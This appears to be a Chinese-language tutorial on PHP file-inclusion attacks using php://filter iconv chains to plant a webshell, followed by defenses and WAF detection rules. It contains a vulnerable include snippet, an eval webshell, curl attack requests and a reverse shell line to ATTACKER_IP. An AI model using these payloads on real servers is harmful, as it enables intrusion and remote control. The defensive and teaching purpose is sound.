1. PHP文件包含漏洞与编码转换攻击原理剖析
在PHP开发中,文件包含(Local File Inclusion, LFI)漏洞一直是Web安全领域的重点攻防场景。传统利用方式通常受限于目标文件内容的字符限制,而php://filter协议的编码转换特性为绕过这些限制提供了新的可能性。本文将深入解析如何通过多重编码转换构造特殊payload,实现在严格字符限制下的代码注入。
注意:本文所述技术仅限用于合法安全测试与防御研究,实际应用需获得系统所有者明确授权。
1.1 文件包含漏洞的本质
PHP的include、require等文件包含函数在设计上存在一个关键特性:它们并不检查被包含文件的扩展名,而是直接将其内容作为PHP代码解析。这意味着即使包含的是.txt、.log甚至图片文件,只要其中包含有效的PHP代码片段,这些代码就会被执行。
典型漏洞代码示例:
php复制<?php
$file = $_GET['file'];
include($file);
?>
这种未经过滤的直接包含用户输入,就是LFI漏洞的根源。攻击者可以通过控制$file参数来包含任意文件,包括系统敏感文件(如/etc/passwd)或上传的恶意文件。
1.2 php://filter协议的工作机制
php://filter是PHP提供的一个特殊流过滤器,它允许在读取文件时对内容进行多层编码转换。其核心语法结构为:
code复制php://filter/[filter1|filter2|...]/resource=[文件路径]
其中每个filter可以是:
- convert.base64-encode/decode:Base64编解码
- convert.iconv.A.B:字符集转换(A→B)
- string.rot13:ROT13编码
- zlib.deflate/inflate:压缩解压
这些过滤器可以串联使用,形成复杂的处理链。关键在于,PHP会在文件内容被include前应用所有这些转换,而最终输出的内容会被当作PHP代码解析。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 编码转换攻击的核心技术实现
2.1 攻击思路分解
假设目标系统对包含的文件内容有严格字符限制(如仅允许字母数字),传统的一句话木马<?php eval($_GET[1]);?>会因为包含<?、>、$等特殊字符而被拦截。我们的攻击目标是通过编码转换:
- 从一个合法文件(如/etc/passwd)开始
- 应用多重编码转换链
- 最终输出包含完整Webshell但仅由允许字符组成的内容
转换过程示意:
code复制原始文件内容(如hello world)
↓
convert.iconv.UTF8.ASCII|convert.base64-encode|...
(多层转换链)
↓
输出内容:看似无害的字符序列(实际包含隐藏的Webshell)
↓
被include解析执行
2.2 工具链组成解析
2.2.1 test.py - 核心payload生成器
这个Python脚本的主要功能是:
- 接收目标Webshell代码(如
<?php eval($_GET[1]);?>a) - 根据res/目录下的转换规则字典
- 自动构造能生成每个所需字符的convert.iconv转换链
- 将所有字符的转换链组合成完整payload
关键算法步骤:
- 对目标代码进行字符分解
- 为每个字符查找res/中对应的转换规则
- 计算转换步骤的拼接顺序
- 插入必要的base64编解码平衡操作
- 生成最终filter链
2.2.2 fuzzer.php - 编码规则发现工具
这个PHP脚本通过系统化的模糊测试来发现有效的字符转换对:
php复制// 伪代码示意核心逻辑
$charsets = ['UTF8', 'ASCII', 'UTF7', 'CP936', ...]; // 所有支持的字符集
foreach ($from_charset in $charsets) {
foreach ($to_charset in $charsets) {
$output = iconv($from_charset, $to_charset, 'x');
if (contains_desired_char($output)) {
save_rule($from_charset, $to_charset, $output);
}
}
}
2.2.3 res/目录 - 转换规则字典
该目录包含以单个字符命名的文件,例如:
- 文件
A内容:CP850.UTF7\nISO8859-1.UTF16
表示可以通过convert.iconv.CP850.UTF7或convert.iconv.ISO8859-1.UTF16来生成字符A
2.3 典型payload结构解析
一个实际生成的payload可能如下:
code复制php://filter/convert.iconv.UTF8.CSISO2022KR|
convert.base64-encode|
convert.iconv.UTF8.UTF7|
convert.iconv.CSGB2312.UTF-32|
...(约20-30层转换)...
convert.iconv.BIG5.JOHAB|
convert.base64-decode|
convert.base64-encode|
convert.iconv.UTF8.UTF7|
convert.base64-decode/resource=/etc/passwd
各部分的用途:
- 前段转换:将原始文件内容处理为适合后续操作的中间格式
- 中段转换:逐字符构建目标Webshell代码
- 后段转换:平衡base64编码并确保最终输出格式正确
- resource参数:指定实际读取的合法系统文件
3. 实战操作与验证
3.1 实验环境搭建
建议使用Docker快速搭建测试环境:
bash复制# 启动PHP测试容器
docker run -it --rm -p 8080:80 -v $(pwd):/var/www/html php:8.0-apache
# 创建漏洞文件include.php
echo '<?php include($_GET["file"]);?>' > /var/www/html/include.php
3.2 工具使用流程
- 克隆工具仓库:
bash复制git clone https://github.com/xxx/PHP_INCLUDE_TO_SHELL_CHAR_DICT.git
cd PHP_INCLUDE_TO_SHELL_CHAR_DICT
- 生成payload:
bash复制python test.py
输出示例:
code复制[+] Generated payload:
php://filter/convert.iconv.UTF8.UTF7|.../resource=/etc/passwd
[+] Usage:
http://target/include.php?file=[payload]&1=system('ls');
- URL编码处理:
使用Python进行关键字符编码:
python复制from urllib.parse import quote
print(quote('|')) # 输出%7C
- 发起攻击请求:
code复制curl "http://target/include.php?file=php://filter/convert.iconv.UTF8.UTF7%7C.../resource=/etc/passwd&1=echo%20success;"
3.3 结果验证技巧
- 基础验证:
bash复制curl -s "http://target/include.php?file=[payload]&1=echo%20md5(123);" | grep -E '[a-f0-9]{32}'
应返回"202cb962ac59075b964b07152d234b70"
- 交互式Shell:
bash复制# 使用nc监听
nc -lvnp 4444
# 发起反弹shell
curl "http://target/include.php?file=[payload]&1=exec('/bin/bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\"');"
4. 防御方案与检测方法
4.1 有效防御措施
- 输入过滤:
php复制$allowed = ['page1.php', 'page2.php'];
if (!in_array(basename($_GET['file']), $allowed)) {
die('Invalid file');
}
- 禁用危险协议:
ini复制; php.ini配置
allow_url_include=Off
allow_url_fopen=Off
- 使用白名单包含:
php复制$page = $_GET['page'];
$safe_pages = [
'home' => 'home.php',
'about' => 'about.php'
];
if (array_key_exists($page, $safe_pages)) {
include($safe_pages[$page]);
} else {
include('404.php');
}
4.2 攻击特征检测
WAF规则示例(ModSecurity):
code复制SecRule REQUEST_URI "@rx php://filter/(.*?)convert\.iconv" \
"id:1001,phase:1,deny,msg:'PHP filter chain attack attempt'"
日志监控关键词:
- 异常长的php://filter请求
- 连续多个convert.iconv转换
- 包含/resource=/etc/passwd等敏感路径
4.3 编码转换的识别特征
-
长度特征:
正常filter链通常1-3层,攻击链通常10层以上 -
组合特征:
交替出现的convert.iconv和convert.base64操作 -
目标文件特征:
总是包含/resource=/etc/passwd等常见文件
5. 高级技巧与疑难解决
5.1 环境适配问题
不同系统下iconv实现的差异可能导致payload失效,解决方法:
- 获取目标环境信息:
bash复制# 通过已有漏洞执行
curl "http://target/info.php" | grep -i 'iconv\|php'
- 本地构建匹配环境:
dockerfile复制FROM php:版本号
RUN apt-get update && apt-get install -y 语言包
- 重新生成字典:
bash复制docker run -it --rm -v $(pwd):/app php:目标版本 php /app/fuzzer.php
5.2 特殊字符处理
当需要生成<?等特殊字符时:
- 使用UTF7编码特性:
php复制// +ADw? 是 <? 的UTF7编码
convert.iconv.UTF8.UTF7/resource=data:,A+ADw
- 分阶段构造:
- 先构造
+ADw - 再转换为实际字符
5.3 性能优化技巧
- 字典预处理:
python复制# 预先加载所有转换规则
rules = {}
for char_file in os.listdir('res'):
with open(f'res/{char_file}') as f:
rules[char_file] = f.read().splitlines()
- 并行化生成:
python复制from multiprocessing import Pool
def generate_char(char):
# 生成单个字符的转换链
return find_best_chain(char)
with Pool(4) as p:
chains = p.map(generate_char, target_string)
- 缓存机制:
- 缓存常见payload片段
- 对已知环境保存有效payload
6. 法律边界与道德考量
在实施任何安全测试前,必须:
- 获取书面授权
- 明确测试范围
- 制定应急方案
- 保护发现的敏感数据
- 及时提交报告并协助修复
推荐遵循OWASP测试指南:
- 最小化测试影响
- 避免数据泄露
- 测试后环境恢复
这种技术展示了Web应用安全中深度防御的重要性。作为开发者,理解攻击原理才能构建更坚固的防御;作为安全研究人员,负责任地披露漏洞才能促进整体安全生态的提升。
